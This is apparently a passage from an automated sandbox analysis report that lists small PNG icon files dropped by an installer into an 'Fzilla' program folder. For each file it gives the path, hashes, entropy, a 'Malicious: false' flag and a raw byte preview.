Preview:	.PNG........IHDR...............h6....tRNS......7X.}....IDATx......1.Ds.....E1X..%G...=J...U........mi.EG.....y.>.c..:F.V.....x.SJ...A.. .c...^..#.pO..0.....3'..J.9.{...s.6P.5..B.3.h.Zk).z......x.'.......\|....Z.".....y.;.X..>Fo..A.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-GJ52L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	271
Entropy (8bit):	6.680491562314409
Encrypted:	false
SSDEEP:	6:6v/lhPfd7NsMr8v4Hv6PEthvFbPbr0P1Q2Zkdp:6v/71x56Mht30NZkz
MD5:	2F61E637B813BCA9B871ECF235026B50
SHA1:	895C4638F7D537468EBF8570F12F9A3D86BBDDAF
SHA-256:	DFDEF00CBFE4FDE826A47733A8EACB3E141D27A649B017769923B0F0BEF7B5B2
SHA-512:	615EBCA503854D008CF32E66DFF8B57A384FF12BBDC7731858B2296A76896B5C781D75399DFF602D98B01115D11824F295D2756923556B670A145D8FF9AF9036
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...WPLTE....N???..9..}...D.D///OOO..'......'''.....#..v..@777GGG..8..8..4..<.NE?2..F=7*x.{.....tRNS.@..f...fIDATx.e.a.......q......8...0.(N.,..........\|AQ.n...Z.....L...&..0..5.A..!..,...m..6.\|YC.!....h.'M.....L.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-IGAST.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	578
Entropy (8bit):	7.26658995284276
Encrypted:	false
SSDEEP:	12:6v/7y8T9ROM+AXyyvP8zGEFVsitMyrvkcnHTQURK:CROMpbvP8zogHTlw
MD5:	BBCA2D3CC54608BA638116EF0D874979
SHA1:	5CABA58951EB7EDC6EC5BB11FB76C20813D501EC
SHA-256:	1162CB65F6D772E4332D9A01D22F5BA5CB1E44AF462F27706CB2079923B3D1F3
SHA-512:	A4464565099F19EF4C92CC4DC18AF197468F63DD3874663CF65B17C5A2C38EDD830E9198F2084B71E3C4B78C2C758EA16CF9032B9CFB5EFB395CA2DCBD912230
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...JPLTE......{.....\|...+'B[V.............CbJ...............:^?u{.}.................{.4.n..Rl.K..Y..t....???7777;7'3'.+.7I.)H."\|}-..).7.gI.Y..........{..d..0.$G...:5..4..3..'./......7.7)1.'B.'e.+.]1.!2..4....2..lN.$A.,.X5..1.......!. y..3..z..4..............q..)..}.....___.....h...........~%.y...m'''........8....2$....!tRNS...................................3.....IDATx.].5.BQ....=.2vA..s\|.L6.....O.........^....P6.<^i.s.H.k.N.........j.......W....E.....'...d..E8.T\|.`..B k..<.*.~`)..6..>_.$......".s.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-IKTAH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	259
Entropy (8bit):	6.6613622157195564
Encrypted:	false
SSDEEP:	6:6v/lhPfUDfiRsyKhbbHRo7ZqheShPlM7vOdljuZtVp:6v/71H6P24heSMDO/jo7
MD5:	2510DDF07F2B9A525BA656D37DE25A9F
SHA1:	45F273D29A83442F118D9F6B0B128A12E66E0E63
SHA-256:	D7AB3B1AC31E864CFE9F76A5687CBC3CE538F1D76C05C7B702AA74AB39DEF230
SHA-512:	EFD11B3C837E597D4D69E24E076F6E1BD26A1CFCF1E68A6A1343E66C26F602DC852B5BCE76A7A63ABBE56A53ACFE254D9A59131C177B4FCD72F8E0532134AC29
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...NPLTE......'.D???..#777..8..@///.N.N..vE?2..}..4..8.D..F..<OOO=7*...9....NL.....tRNS.@..f...cIDATx^e.G..P.EQ.....7j\|.@....8..r~...m.O3....C...J.......:$.V....x.....A..)h...A..DX..I...J)..."c.!.d......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-IM5GP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	131
Entropy (8bit):	5.6289507100680956
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt+NTlrRSAalD/lQd7ikY58OVWmbd1+Gm2C08Rwg7nRZlbp:6v/lhPmNpo/lDtOm8MWkd1+MCF2g7Zbp
MD5:	5EB0F873C514DDB3AD34A73CD5BAF190
SHA1:	A9FF2EBE4E3572E03AC35BDC70F64AE0FBB74F92
SHA-256:	A0B7C151A640F079ABBA849E68B84565E3E6BC91C119397CF29906C646CDE723
SHA-512:	C3B3AEE787F74A6E30D92A7238F61C6D7E7A8C534A742826C94975DA68FC9FC760BCA1684E0C9E9B1DEE839FAA84B1EF3BC8404E23FE814CB67D687284260A91
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}...8IDATx.c.O"........A}..\|.<.....7...x.8P....6.L........4....?.t].....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-K45O8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	126
Entropy (8bit):	5.510290850843103
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt+NTlrRSAalD/lryxOdsDM4LWWDa3WqElM26VX/ljp:6v/lhPmNpo/lDtrPQM4LWSGx/dNVp
MD5:	DD96FEDEAD6729D37FD1EBEA04301DCC
SHA1:	33352BF613A0953A537A106BE07FF0021B9807C2
SHA-256:	9F6F305FB9892B704BE8F3045EB026D33740A6168E94575A8F3B2BCA47A1E6E3
SHA-512:	683478492AAA1743BBCA41DF9AD7E8E7318310B35DDE869C206DAF3CDCEEA1BBE16E8D7967A15553D93F3F7EFB3DD078025928DBB2DD8261E084D3346D5C1FFC
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}...3IDATx.c.O".....I. /._]...ss.........B...i .$.<=".......{0.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-KV1B8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	205
Entropy (8bit):	6.272357355149204
Encrypted:	false
SSDEEP:	6:6v/lhPmNpo/lDtAxEso4vZSkcOhJylV2p3mAD66tx/0qmKGTp:6v/7uNpQzTyBXRhMZADvTXmKo
MD5:	5F7487F77EF2E2718FDF49D70F5AA78A
SHA1:	5A13AFDE197CE88B46F9F062B9985241F68D3C9D
SHA-256:	76ED54BC79E6F2E3992483D4C18C3135A47EAC6DE8D3FC30814453A619FECF81
SHA-512:	73E9CDECC2788525E263E8C751CCEBA59FAACCF7D1D4B0452330D2B7704D3E8A187BD245F2AAC2CBA50841FBD93F799A8F170D78944D7C4999420E71A60DA8D8
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}....IDATx.c.O"..............8.`....qk..G }}....j....t? ......9..Z.....#.........5 .<.P.....05..6.. .;......t}.~y.zy~q.x ...~ .Z.j....f.x......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-L70M2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	237
Entropy (8bit):	6.62857492175376
Encrypted:	false
SSDEEP:	6:6v/lhPfeP9U8sDKJOckcBtXhwRB6ENrr76BAfSWSm9ncGQSltjp:6v/7OP9lsWJOckcBtXhwRBHVCAf7S0cm
MD5:	368D0EECED2C75D5445879856ABF2ECA
SHA1:	CBD9BAD4F6296D78E60E6934A3D7EB43F1C0B316
SHA-256:	1DBBB0FE6F576CE808D544A0C3A8EC066BB2C5C40B6AB5D21A994A46B256C06C
SHA-512:	8D0C39C29DE76BAD8E2F1DA3E1054D2013E80FCE80F1B91522386A59634B29CB3E89E4861AEA9BB3BBAB264DF92704A147AF81F178ECD09ADDFB4E325C27DAD4
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...<PLTE...cY^.;f.Hp.Ft......5a...Nt.?o.6^.R}.Y.._..3folmfY_.9j.Ly..i.....tRNS.@..f..._IDATx^m.7..@.DQ3sc...W.......4.....`^..)%...,....D{W.......@.......T.E.a;...!..G....!.Z..\.....h^..7....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-MFBPE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	287
Entropy (8bit):	6.641511483184927
Encrypted:	false
SSDEEP:	6:6v/lhPfakP/FrbS6XS5WghN+4Q8YsEqqaiG/CMo+p:6v/7XNrbS6XKWghNWmvQGqMT
MD5:	CB8FE1299A47ED7990A83BAE9B3318C8
SHA1:	1C9A2F39C70946C55FDD7FC8B693D48299409EE2
SHA-256:	979C2C56AE97F3E32F932ABE6D3ED2A5D09406EAF84A939AA001A70E48878880
SHA-512:	58F9AE64A4ABA02CCBF62E5C394F2D49B473E463CBC39C9C132047DE400035F8A8FBBC8A4FD9E93471E59E33E26854DFBB8BDA269F0DC43A0E9EB75262318684
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...iPLTE...OOO///4>9.&!.../..G55!4+1.Z'wO....11.;;G##/?7..\1.b,.Y&...77.==.99O11&3,3.^.==?''/.W.99???777...'''...;m2\....tRNS.@..f...dIDATx...S..0....}.l..~..-...L<.... ...........2...a>..kn0....>...h......O...\|.)...w.mg:Nu{]'.......MkTsa....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-N197C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	255
Entropy (8bit):	6.506559859382529
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt/B1SbRFbeMqS3S6hU9yUXQRpKvl/kR3Qhl/d6jFfxT2LhB/73:6v/lhPfBNis/hyjJx4znWPjkC4p
MD5:	B8ADB48407C71383C9EC32F725BAF04C
SHA1:	B555E0BF4F874EC1EEDCF1E14F2D0F5A326865EA
SHA-256:	66F0A9E4BC950786FD81B69C2A296DEF1D39BC91E08AA67DFF42AE1FB69FC62B
SHA-512:	871FDE29E5EC1E624620E8716F8423D9A4F57EBF8111112BFC2887FB68233D815018D64311E353B393BBD5E14EBC8ECCDB451F9F597AD157CDBFE0302C7D3B71
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...KPLTE......777......???......'3'///OOO...7;7..../.GGG......?C?.{..p........s.....mQU....tRNS.@..f...bIDATx^..G..A..q......)-4..'.c.\|..%.....~d.U1......nX^....k.!... o....9.^>Gi.L)d.>C..#`.zJ...'.L....4.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-NQPPP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	139
Entropy (8bit):	5.744529615316549
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lNO+NSXX1CS16AOmJFJqh8+oomNftR9qjp:6v/lhPdLS86oh8+lwcp
MD5:	6C1C086823111EA331268F43D06F45B9
SHA1:	916D2B4AA2163B19B59A5836296D7CF27E0535FA
SHA-256:	9C7C53A72AEA5646DF4A0ED9FDD9943E94FE4806B7CE76E2D3D1FFAC8F14AB88
SHA-512:	E58BED6DA9645F3BABE8CF3E01EE082472BD8280768312DFE9C61C776E43844EDDA14F38D275BE1CA683F384197372DC91373C4CE161C7F365EA12A6F35EDA7F
Malicious:	false
Preview:	.PNG........IHDR................a...RIDATx.c`...........'.... .....l...................t.t.....`,.-.6....6.O[.(...@......A....8....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-O2E36.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	262
Entropy (8bit):	6.363373624193421
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt/yyzZ66j3aRsSV4UBaM2wG4miXCC1kmw//+RQhl/+xewdcP+B:6v/lhPfySaath2dckY7sL5uPO43Yp
MD5:	7F3A43B9D43AE40886EF23FDAD044E5E
SHA1:	13AD1D12A72AAB3A6CCB614D236312D1CA678621
SHA-256:	C0D5EA62B0BAD930198D75B62A08FDD5A34B1F042EAAFF84BEADA907A0565290
SHA-512:	9C73E5DD8255963B68581BC467B3ED79BDC3B9EA019171B7A8800CF1ABA14B75FBF334864DCD31474A36442B0A15DB2CE74EFDB6A2A48DEFF9B23F3B48377091
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...QPLTE...???777GGG............?C?......'3'7;7///..../.....{......p.......'''.s.OOO..../......tRNS.@..f...cIDATx.b .....+.........Y;.......@...B.U..7..*x.{..s~.....\..P.z.Zq.aa...'....y..:.u(...a.[.p..<......0.f.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-P8LHI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	242
Entropy (8bit):	6.489358696428888
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt/yycYgckUvK6NZvqIRV+0SV4aQhl/xqlV9JFWslQqmjmxWcv/:6v/lhPfyjcFvjhUNShXil0y8A/ljp
MD5:	84281E2E1318A18D057378DE38937E91
SHA1:	0CA6834B0E7B48A0F489CA42FDB15C65A6B94453
SHA-256:	B2083F672D8D86EBBBEC229028352BB76E330F8890B4FC0D4B9A1F8185705E76
SHA-512:	24C45DA8F8528EB95510B2C1AF167E62CE42AD21C74962EA417B898D02FD48A19E51F5785917E1C9FFF187AF2C3EF99FA1ACF506BC50A465D6871D43B5D140D3
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...QPLTE.....@...-.......t...1..D..L..h....5..<..H...4..8...........\|.........]:.....tRNS.@..f...OIDATx^..G..0...lKo.....APo.9...@.....+.^.N..Fh.V#.y.ZX-".@.%=.h....-P.L.FYu...B...7.t....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-PASTU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	154
Entropy (8bit):	5.812500575542161
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt+NTlrRSAalD/lXhndZdZO3agaYrxsnky/t2up:6v/lhPmNpo/lDtXhdZaaGxsnH/tVp
MD5:	A532BC7AF411B178E07C9A0AFF7A02FE
SHA1:	BF9626BDF573383C6F1060A0EDF3472B1FEED203
SHA-256:	081507F7D6340F2F34960B82C1EEA8CC18284BCD2EB3C64DE676BB494BBFE7A3
SHA-512:	E6C25776E86604ABCCCDBCD888F3ED5AAC697D194167415B8F6A9099CB7724CA135CA59F2A903EBF45098BA40F71CBEE24808AC04CABA963ACD11C833BF2E9B0
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}...OIDATx.c.O"......I.?].....@....@.....~pw'1........`n.T.@.....AH_.<..;...xz.&>../.o:.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-PJQV3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.6795619482457615
Encrypted:	false
SSDEEP:	6:6v/lhPf+XJDxSjZaUMEEp5/ahgKD+uIl5ghek4lDurmYPCeKfHB0Gz0LFhAb8Tup:6v/7mSIFZPahgKD+uIl5gh7oDkmqzOBD
MD5:	5077045C5791253D61D133254D40CE0D
SHA1:	76397DBBFCAA0A572757CABF49AEC9D3A0EC6D56
SHA-256:	B8007C3FE22D9AB1BA1162ABF9FFCEF977EA559D7C4DEC24815BC4A57E1C9AC0
SHA-512:	408EF7AC27A0C3AFB2DF0EC6104DF573868F02C2008329C0D1EACE8FC0EC49384DF6DC2C06CB7BF1EFEC6184102E8318EB0E07511410E154FF038B5127A8D586
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...]PLTE.....1..@.J.._......5..-.p...t........H..L....<.....D........9...8..4..\|..h...........v....tRNS.@..f...mIDATx.m....1....r}...yk.N...o.E..b.5.4....../..}.@s..^.V.W......D$^U.....f'.V..a7.."rU+.;tx.;.oE..........m.SD....;.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-QNSAP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	337
Entropy (8bit):	6.89163841151448
Encrypted:	false
SSDEEP:	6:6v/lhPfuf2nPt1ReP9QNJ/7KQcQny7GRgwEp2akghzdQ2BsVU6EgNTALVut+BFGC:6v/7JV1a9QNJ/Oenyy3EFjhhZBsyngN4
MD5:	BCA16103B467F279200CE0B7490028F4
SHA1:	2FC6A33D1348DCE568E677E73C6A90EBA4481057
SHA-256:	B1F088641A1FEC949BC505B86CB55FDEFB23D892EED6DB3D84A2A480F25C78CB
SHA-512:	DC671B52DC64EEF88C7E85FB4B60A33BEB70EB72DC1CC95F46D2BA7B76A00CD7F6913281F15CC6DB482891A04216E06E62287EB73FDFF9783DB899843674FE5C
Malicious:	false
Preview:	.PNG........IHDR.............(-.S....PLTE.....H..@..L.......E............8..6.................5..2...............{..)..3.....-..0..z..4..q..)..}.....A..h.~%.y...m..y..>..7.....tRNS.@..f...rIDATx...C..P...Am.s....YuP..=...X....4..j.Q..Q.<.63...&X.Q......l.....@...S..Fc.....4. .....oA.Iz..,..w.......&....+....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-QPQ8E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	315
Entropy (8bit):	6.823503061584567
Encrypted:	false
SSDEEP:	6:6v/lhPmNpoczEAaiNUUp8lBEiNA9nieFK0mhan+0fmQ9W5llsup:6v/7uNpbVHUUg9A9pvIannfmnllN
MD5:	6B267D137E6CDBB599E67DC7D3B4ED32
SHA1:	8B2F70737B90375515CC6D3B4A0D5E80DE424F1D
SHA-256:	CF6E2E84255A9D0552734C2647352CABE7202BA9EB26411EB4E8134913382E82
SHA-512:	040DA0E15CF88C81003E8D565DFA83BBBC197598D2C535D0BF77D5D9B61343AAF301D5F1D4E48B53AA941E9E694A98ADE16BC8BB22BEE98CEF6C77931BB3FAEB
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS........pR....IDATx.c...;I...{{{sss{0...i.5.:~..}....z.h8<...L..Sm6...I .(.......6,k4.p0......J.>.}{....].....V.Vz.fZ.v...7.}.xx....@.h........ .(.....vFdj.z..JDi......P5...^.~...J;'Z.....`p.h5...D..bw\|.djl.f.\|...du..<).....\|{ ......D@.....b..lh.....;.B.'B....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-S8JNR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	270
Entropy (8bit):	6.493229775851387
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt/9s7SCshSSRmpiiMCBs8y6kuS6Xhl/DojWz7WK0BoH6sMJyVt:6v/lhPf+h9oWNa549qbsIpolKKVp
MD5:	07A8D183C3F4F232E309D9C223EDC582
SHA1:	D8ED3AD5126D2CFB3CC58B9B34377BF7791603ED
SHA-256:	ED7D1AF4F214414A0959F3F172FB4287A09FD3DAF525A2CBB35B20D0CB1EE52D
SHA-512:	0000C8F595E5BC2F2DE05736AD1C483D50A0F6984F11656248846DF5E0D330F3AFF30321FC331958143F21D8BF7CA9DD2DFE981E1D4B8D95A2BF30B784124D0E
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...HPLTE....{.......''''3'///7777;7????C?GGGOOO.................................Y.......tRNS.@..f...tIDATx.mOE..0.+ZU..../..[da...$.....Sx!.,$....a\|..C).....vt.C.....@M0..W.S.f>=M.#..+vh....`Zs^.W.Xj-..PJ)._....O8..4.OSv....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-TFJ05.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	277
Entropy (8bit):	6.954009971516475
Encrypted:	false
SSDEEP:	6:6v/lhPHj6DXe7LlvTH2EpUoMUPkWPHIA9E7bp:6v/7fE8N5OlsHne
MD5:	24B13549181DA2656B0FC201CCCB995C
SHA1:	0FE5DD149620499A4BFF6449BBD2607894FF153A
SHA-256:	BBEAC0FE83D3449CFFCBEF985600ABD8F6D87894C40F0D73887F9536C9E61501
SHA-512:	ECB8E1C2CB43C897056A80DB59EC2AF52102ED05987B68E29607F90DF70A660B1B35C3C1D5A1AF8D29B182260457B5BE267ACB79D4503EAA3E5B6B08C6ADBB8A
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx....b.0.E...H$...D.....Hd.iO.f...}...[...cd.G\|.......R......r~{g..V ...6X.(E..]..V.2K.b.%......5.4A.0.....`...$H. 8...v.`.m.....>.-...[..].q.[..h.....p.@.=...9;..f4&...,.$.XA.om]...ma._x....K......!.y.7.3.#._.x..\{....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-TQQV1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit grayscale, non-interlaced
Category:	dropped
Size (bytes):	108
Entropy (8bit):	5.237170807735363
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtwvR32AsyxdkxjQ1MB67JN7Aljp:6v/lhPmJXs+kS1j7cjp
MD5:	E24D25C8AAB877F2EDE30F036195DC4C
SHA1:	88D1348D98478D3E2572C271418C6E0A5DE45989
SHA-256:	F1E76BE59DF5C0FF5D83F262E446F7C21E39C52463AFF2A7FDF8AB39B9BF7FE2
SHA-512:	1FC62A07A163F420411153D2D50808FDC93CD2DA475BB6C3EFD529F7B16A8C1EF1F01FCE23B6B1A8AC97C0AE63E2EA02FA0FDCA3FB68CEC45C535232F9AA588A
Malicious:	false
Preview:	.PNG........IHDR.............:.......tRNS..[."....%IDATx.c....'..&..*.ii.......-x......h.m.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-VDQU9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	275
Entropy (8bit):	6.64635030976887
Encrypted:	false
SSDEEP:	6:6v/lhPf+sapJMuJVLNwllhNnS0OUrsQ84uWupmvWvI08up:6v/7dapVLwllhNS0OZQ84uWhWwVc
MD5:	6181E6C4639D7B0B83422B2068E8FCC8
SHA1:	26DBEA9138E3920BAC74B667BC06C38413DAE437
SHA-256:	BB1230F4448E83604D0F13CFED907E76E444435B4577B3CFFBCBAF9D6F237A84
SHA-512:	81B6F3C71D33B42C3CCC880993678BCDF592E1ED7A00EE3EA430CE2CAC525CB9BAB1416E55B78002D6B6ADB560ED5FD8DC4A777BBFA4F08233CAA3ECDC34F90F
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...]PLTE.....@._.......1..t.p..J........D..H..L....-..5....4.......h.9.......8..<..\|.......+....tRNS.@..f...dIDATx..........1^...\./.t../5....r.....rP....._%.x...1..Q.#b....S......w?.........a...eq..{`.;;.V... .....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\localtreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	259
Entropy (8bit):	6.6613622157195564
Encrypted:	false
SSDEEP:	6:6v/lhPfUDfiRsyKhbbHRo7ZqheShPlM7vOdljuZtVp:6v/71H6P24heSMDO/jo7
MD5:	2510DDF07F2B9A525BA656D37DE25A9F
SHA1:	45F273D29A83442F118D9F6B0B128A12E66E0E63
SHA-256:	D7AB3B1AC31E864CFE9F76A5687CBC3CE538F1D76C05C7B702AA74AB39DEF230
SHA-512:	EFD11B3C837E597D4D69E24E076F6E1BD26A1CFCF1E68A6A1343E66C26F602DC852B5BCE76A7A63ABBE56A53ACFE254D9A59131C177B4FCD72F8E0532134AC29
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...NPLTE......'.D???..#777..8..@///.N.N..vE?2..}..4..8.D..F..<OOO=7*...9....NL.....tRNS.@..f...cIDATx^e.G..P.EQ.....7j\|.@....8..r~...m.O3....C...J.......:$.V....x.....A..)h...A..DX..I...J)..."c.!.d......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\lock.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	297
Entropy (8bit):	6.800199709510365
Encrypted:	false
SSDEEP:	6:6v/lhPf1UFluPRNV1YPq6Re3/th4QpTXQcBdc1fA28jhhG50u6kYp:6v/7EuPXVKqb/th4QxXCa3G5Uky
MD5:	F2073372D899FE4E0483E90B0653215D
SHA1:	17383AA8929692DD99B854D8FDD12F21E1189CC5
SHA-256:	D18E5BF43483EA1EE2B7860EA5EB5F4E90EFD0FC04BE57EF114B66B3C56E7D89
SHA-512:	9236493DAE406C93F80B520034DE3578348EA757892B1E410D62D214618A78F90427F90CBFF9926E1CAC05080526D9CFC773ADDAE2E9F243B48F9EABAC23CFB5
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...oPLTE...jjjcccooo........ggg...[[[hd[..`[N<7IE;.i..r..l.d.d.m..s?:-.a..o..q..{..{..z..p.s..rGC:.^.a.b.cG..c....tRNS.@..f...hIDATx.l....1....v.5..V....L...!d(N.."...B...*.#AS.. .D...$....[..5..eIW[.......uH........s....(`.8..>....t.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\logview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	367
Entropy (8bit):	7.018199834661965
Encrypted:	false
SSDEEP:	6:6v/lhPmNpot/7PBgoGkhoQ/Oje2ZtrdaBgdVjD9FhGZsnrsl/UuUmNnzQWUi/Cup:6v/7uNpAuU1GS2ZGBWD9vGZKwlMuUmNz
MD5:	2226DCD0F25AEE9BBA5C64D0B4A8128D
SHA1:	0B9516F28E642253146CABB80BEE57027A6EA373
SHA-256:	99AD52EE1D5EE29AF9CD09C3EF7884453B943682E9AEB99FAFDC57C56D74A08B
SHA-512:	6D4731DE82B4B7DF699EC48A57B83EA5FF9F2D9B016E53415339CA1C14F11F9478CA194E5799374E347F62786A2C48687E0CCCB7116E009F5250E59AECD2B2B6
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......n......$IDATx.b ........Y..A@..vvP..B.s.o..$..T...h....A@....<.J.z.&x.P....T.......}....P.E..'.T......).....P@."j.@0.......o..s.^.....i.^....}73..@N..8.ey..a`.RJ&..z.x.Y..T.f5..G.=....6..... \n..k.x....\|\.5.g.............ZJu.9.X...@S..W....8.-.I.E.2.<.%..\|...m.;:.5...m....h.."..1..U.~._1.0....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\processqueue.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	315
Entropy (8bit):	6.823503061584567
Encrypted:	false
SSDEEP:	6:6v/lhPmNpoczEAaiNUUp8lBEiNA9nieFK0mhan+0fmQ9W5llsup:6v/7uNpbVHUUg9A9pvIannfmnllN
MD5:	6B267D137E6CDBB599E67DC7D3B4ED32
SHA1:	8B2F70737B90375515CC6D3B4A0D5E80DE424F1D
